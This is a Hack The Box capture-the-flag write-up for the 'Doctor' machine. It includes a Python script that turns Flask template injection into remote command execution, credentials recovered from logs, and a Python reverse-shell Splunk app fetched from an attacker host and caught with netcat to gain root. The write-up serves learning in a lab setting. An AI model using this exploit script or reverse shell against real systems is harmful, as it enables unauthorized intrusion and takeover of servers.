Hack The Box - Doctor Writeup

10 minute read

Hack The Box - Doctor image1

Enumeration

Add doctor.htb to hosts and start an nmap scan.

Nmap

Nmap scan report for doctor.htb (10.10.10.209)
Host is up, received user-set (0.22s latency).
Scanned at 2020-10-01 20:29:09 IST for 63s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http syn-ack Splunkd httpd
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/emailAddress=support@splunk.com/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after:  2023-09-06T15:57:27
| MD5:   db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
| SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQC3IKogA4zEAzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yMDA5MDYxNTU3MjdaFw0yMzA5MDYxNTU3
| MjdaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JgJ
| NKrC4SrGzEhhyluUIcBW+eD6y+4paEikip5bzO7Xz8+tVJmFBcDfZdkL3TIZFTCF
| 95BMqL4If1SNZlFQxpMZB/9PzCMm0HmhEK/FlHfdrLwaeK71SWeO/MMNtsAheIPA
| pNByri9icp2S9u7wg89g9uHK4ION8uTJMxbmtCRT4jgRcenOZYghvsTEMLPhwlb2
| M/59WRopfyakIEl/w/zF1jCfnrT6XfZtTos6ueet6lhjd8g5WW9ZJIfmjYDaqHPg
| Tg3yLCRjYhLk+2vLyrO23l5kk8H+H4JgIOCqhAw38hC0r+KETsuWCGIxl4rBBDQw
| E5TvP75NsGW2O3JNDQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBJjjx+KHFwYJei
| lMJlmXBOEs7V1KiAjCenWd0Bz49Bkbik/5Rcia9k44zhANE7pJWNN6gpGJBn7b7D
| rliSOwvVoBICHtWFuQls8bRbMn5Kfdd9G7tGEkKGdvn3jOFkQFSQQQ56Uzh7Lezj
| hjtQ1p1Sg2Vq3lJm70ziOlRa0i/Lk7Ydc3xJ478cjB9nlb15jXmSdZcrCqgsAjBz
| IIDPzC+f7hJYlnFau2OA5uWPX/HIR7JfQsKXWCM6Tx0b9tZKgNNOr+DwyML4CH6o
| qrryh7elUJojAaZ0wYNd5koGZzEH4ymAQoshgFyEgetm1BbzMbA3PfZkX1VR6AV+
| guO5oa9R
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct  1 20:30:12 2020 -- 1 IP address (1 host up) scanned in 64.48 seconds

We have ssh, a web application on port 80 and a splunk service running on port 8089.

After looking around for quite some time, I couldn’t really find anything useful.

  1. I couldn’t find anything in ssh.
  2. I ran directory busting, vhost enumeration and all other kinds of enumeration against port 80, but nothing. All that looked suspicious was an youtube link.
  3. Port 8089 is running slunk atom feed. This is like a stripped down API kind of thing that can only be used for minimal interaction. The useful stuff seems to be password protected and nothing seems to work against it. I even tried bruteforce with rockyou.txt but it did not budge. If we try connecting using curl with default credentials admin:changeme, we get an error saying that remote access is disabled for default password. This might be useful later when we get access.
kali@kali:~/Desktop/htb/doctor/doctors$ curl -k https://doctor.htb:8089/services/auth/login --data-urlencode username=admin --data-urlencode password=changeme
<?xml version="1.0" encoding="UTF-8"?>
<response>
  <messages>
    <msg type="WARN">Remote login has been disabled for 'admin' with the default password. Either set the password, or override by changing the 'allowRemoteLogin' setting in your server.conf file.</msg>
  </messages>
</response>

After looking at some hints, I found something peculiar in the web application on port 80.

           <div>
              <span>Send us a message</span>
              <strong>info@doctors.htb</strong>
            </div>

The domain in the email is doctors.htb not doctor.htb. This might be a different vhost. Add a new entry for doctors.htb in hosts file and browse to doctors.htb

image1

We get a login page for doctor messaging system. First, I tried out the classic injections to see if I can bypass the login. But nothing happened. Then i registered a user and logged in.

image1

There are options to post messages and check account details. Looking at the source code, we see a comment.

<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

Looks like there is some functionality that is still in testing.

image1

Checking the page source of /archive, we can see that our post headings have been reflected in the page.

image1

The site is running flask and the image of the box pointed at a possibility of SSTI injection. We can try one out using a simple payload {{7 * '7'}}. If this works we will see 7777777 in archive page.

image1

Low Shell

So we have SSTI injection and we can add more payloads to get an RCE.

SSTI to RCE

We have few challenges before trying out payloads.

  1. If our payload causes an error, the message has to be deleted to check other payloads
  2. The created user gets deleted after around 20 minutes, which was frustrating.

To make things easier, I created a script that will

  1. Create a new user and login
  2. Ask for a payload from the user
  3. Create a message using the payload as the title
  4. Get the output from the archive page
  5. Delete the post

image1

After trying out various payload, I found that the following can be used to running arbitrary code on the system.

f"config.__class__.__init__.__globals__['os'].popen('{cmd}').read()"

This will execute the command and post the output. I tweaked the script to include the RCE.

import requests
import random
import re
import html

def create_user():
	url = "http://doctors.htb/register"
	username = f"test{random.randint(0,1000)}"
	email = f"test{random.randint(0,1000)}@test.com"
	password = "test"
	data = {'username':username, 'email':email, 'password':password,'confirm_password':password, 'submit':'Sign Up'}
	s = requests.Session()
	print(f"[+]Creating user {username} {email}")
	res = s.post(url=url, data=data)
	if b'Your account has been created' in res.content:
		print("[+]user created")
	else:
		print("[-]User creation failed")
		print(f"[*]DEBUG {res.content}{res}")

	return username, email
def login(user, email):
	url = "http://doctors.htb/login"
	data = {'email':email,'password':'test', 'submit':'Login'}
	s = requests.Session()
	print(f"[+]Logging in as user {user}")
	res = s.post(url=url, data=data)
	if b'New Message' in res.content:
		print(f"[+]User {user} logged in ")
	else:
		print("[-]Login failed")
		print(f"[*]DEBUG {res.content}{res}")
		return ""
	return s
def execute_py(s, cmd, rce=0):
	randvalue = "{{"+str(random.randint(0,100000))+"}}"
	if rce:
		cmd = randvalue + "{{" + f"config.__class__.__init__.__globals__['os'].popen('{cmd}').read()" + "}}" + randvalue
	else:
		cmd = randvalue + "{{" + cmd + "}}" + randvalue
	url = "http://doctors.htb/post/new"
	data = {'title':cmd, 'content':'test', 'submit':'Post'}
	res = s.post(url=url, data=data)
	if b'Your post has been created!' in res.content:
		print('[+]Payload post added')
	else:
		print('[-]Failed to add payload post')
		print(f"[*]DEBUG {res.content}{res}")
		return "", ""
	return s, randvalue[2:-2]

def delete_post(s):
	res = s.get("http://doctors.htb/home")
	try:
		post = re.findall('<h2><a class="article-title" href="(.*)">',res.content.decode())[0].split('/')[-1]
		url = f"http://doctors.htb/post/{post}/delete"
		res = s.post(url=url)
		if b'Your post has been deleted!' in res.content:
			print("[+]Post deleted")
		else:
			print("[-]Failed to delete post")
			print(f"[*]DEBUG {res.content}{res}")
	except Exception as e:
			print("[-]Err. Failed to delete post")
			print(f"[*]DEBUG {e}")
			print(f"[*]DEBUG {post}")

def fetch_result(s, sep):
	url = "http://doctors.htb/archive"
	res = s.get(url=url)
	if b'Something went wrong' in res.content:
		print('500 - payload failed')
	else:
		output = res.content.decode().split(sep)[1]
		print(f'{"-"*30}\n{html.unescape(output)}\n{"-"*30}')

def check_session(s):
	try:
		url = "http://doctors.htb/home"
		res = s.get(url=url)
		if b'New Message' in res.content:
			return True
		else:
			return False
	except:
		return False
user, email = create_user()
s = login(user, email)
cmd = ""
mode = 0
while True:
	if not s or not check_session(s) or cmd == "restart":
		try:
			print("[-]User account expired")
			cmd = ""
			user, email = create_user()
			s = login(user, email)
		except:
			print("[-]Errr")
			continue
	else:
		try:
			cmd = input(">")
			if cmd == "restart":
				continue
			if cmd == "exit":
				break
			if cmd == "rce":
				print("[+]RCE mode enabled")
				mode = 1
				continue
			if cmd == "python":
				print("[-]RCE mode disabled")
				mode = 0
				continue
			s, sep = execute_py(s, cmd, mode)
			if s:
				fetch_result(s,sep) 
				delete_post(s)
		except:
			print('[-]Errrrr')
			continue

Now we can execute a reverse shell payload.

image1

And we have a shell.

User Shell

Running linpeas shows us some interesting info in apache log files

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
/var/log/auth.log.1:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
/var/log/auth.log.1:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2

There was a password reset for user shaun. We can try changing to user shaun using those creds.

web@doctor:~$ su shaun
su shaun
Password: Guitar123
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)

Root Shell

We have splunk running on port 8089 as root. We were not able to login to splunk earlier with default creds. We can try again with shauns creds.

We can request a session key using the creds.

kali@kali:~/Desktop/htb/doctor/doctors$ curl -k https://doctor.htb:8089/services/auth/login --data-urlencode username=shaun --data-urlencode password=Guitar123
<response>
  <sessionKey>R9IIxXf8w7qWM_MaLolt4RDDCRaNMwT4BTSSoxoiwz_N8folTQ7ORHIGurlp2Dsgf7cozKS4E32^bwFP84ctk6jNjhyEos5F_7G0nHwa</sessionKey>
  <messages>
    <msg code=""></msg>
  </messages>
</response>

We do get a reply back, which mean we have valid creds.

This blog gives a detailed writeup on how to pop a shell on splunk by adding a python app.

  1. Create a file structure as below

     pentest_app/
            ./bin 
            ./default
    
  2. Add a file to bin directory with a reverse payload

     import sys,socket,os,pty
    
     ip="0.0.0.0"
     port="12345"
     s=socket.socket()
     s.connect((ip,int(port)))
     [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
     pty.spawn('/bin/bash')
    
  3. Create a file inputs.conf and place it in the ./default with following contents. This will trigger the payload every 10 seconds.

     [script://./bin/reverse_shell.py]
     disabled = 0
     interval = 10
     sourcetype = pentest
    
  4. Zip the file.
     tar -cvzf rev1.tar.gz ./splunk
    
  5. Serve the zip file from a python server. Upload the file to splunk using curl and shauns creds. The documentation for this can be found here. Mention the tar file url as the name.

     kali@kali:~/Desktop/htb/doctor$ curl -k -u shaun:Guitar123 https://doctor.htb:8089/services/apps/local  -d "filename=true&name=http://10.10.14.27:8000/rev1.tar.gz"
     <?xml version="1.0" encoding="UTF-8"?>
     <!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
     <?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
     <feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
       <title>localapps</title>
       <id>https://doctor.htb:8089/services/apps/local</id>
       <updated>2020-11-01T08:21:18+01:00</updated>
       <generator build="a1a6394cc5ae" version="8.0.5"/>
       <author>
         <name>Splunk</name>
       </author>
       <link href="/services/apps/local/_new" rel="create"/>
       <link href="/services/apps/local/_reload" rel="_reload"/>
       <opensearch:totalResults>1</opensearch:totalResults>
       <opensearch:itemsPerPage>30</opensearch:itemsPerPage>
       <opensearch:startIndex>0</opensearch:startIndex>
       <s:messages/>
       <entry>
         <title>splunk</title>
         <id>https://doctor.htb:8089/servicesNS/nobody/system/apps/local/splunk</id>
         <updated>1970-01-01T01:00:00+01:00</updated>
         <link href="/servicesNS/nobody/system/apps/local/splunk" rel="alternate"/>
         <author>
           <name>nobody</name>
         </author>
         <link href="/servicesNS/nobody/system/apps/local/splunk" rel="list"/>
         <link href="/servicesNS/nobody/system/apps/local/splunk/_reload" rel="_reload"/>
         <link href="/servicesNS/nobody/system/apps/local/splunk" rel="edit"/>
         <link href="/servicesNS/nobody/system/apps/local/splunk" rel="remove"/>
         <link href="/servicesNS/nobody/system/apps/local/splunk/package" rel="package"/>
         <content type="text/xml">
           <s:dict>
             <s:key name="check_for_updates">1</s:key>
             <s:key name="configured">0</s:key>
             <s:key name="core">0</s:key>
             <s:key name="disabled">0</s:key>
             <s:key name="eai:acl">
               <s:dict>
                 <s:key name="app">system</s:key>
                 <s:key name="can_change_perms">1</s:key>
                 <s:key name="can_list">1</s:key>
                 <s:key name="can_share_app">1</s:key>
                 <s:key name="can_share_global">1</s:key>
                 <s:key name="can_share_user">0</s:key>
                 <s:key name="can_write">1</s:key>
                 <s:key name="modifiable">1</s:key>
                 <s:key name="owner">nobody</s:key>
                 <s:key name="perms">
                   <s:dict>
                     <s:key name="read">
                       <s:list>
                         <s:item>*</s:item>
                       </s:list>
                     </s:key>
                     <s:key name="write">
                       <s:list>
                         <s:item>*</s:item>
                       </s:list>
                     </s:key>
                   </s:dict>
                 </s:key>
                 <s:key name="removable">0</s:key>
                 <s:key name="sharing">app</s:key>
               </s:dict>
             </s:key>
             <s:key name="install_source_checksum">dea0008a0d34b948ffd5a42534517c06f95b69af</s:key>
             <s:key name="label">splunk</s:key>
             <s:key name="location">/opt/splunkforwarder/etc/apps/splunk</s:key>
             <s:key name="managed_by_deployment_client">0</s:key>
             <s:key name="name">splunk</s:key>
             <s:key name="show_in_nav">1</s:key>
             <s:key name="source_location">/opt/splunkforwarder/etc/apps/splunk</s:key>
             <s:key name="state_change_requires_restart">0</s:key>
             <s:key name="status">installed</s:key>
             <s:key name="visible">0</s:key>
           </s:dict>
         </content>
       </entry>
     </feed>
    
  6. Start a nc listner to catch the shell.
     kali@kali:~/Desktop/htb/doctor/$ nc -nlvp 9997
     listening on [any] 9997 ...
     connect to [10.10.14.27] from (UNKNOWN) [10.10.10.209] 43842
     root@doctor:/# id
     id
     uid=0(root) gid=0(root) groups=0(root)
    

And we are root!!

Tags:

Categories:

Updated: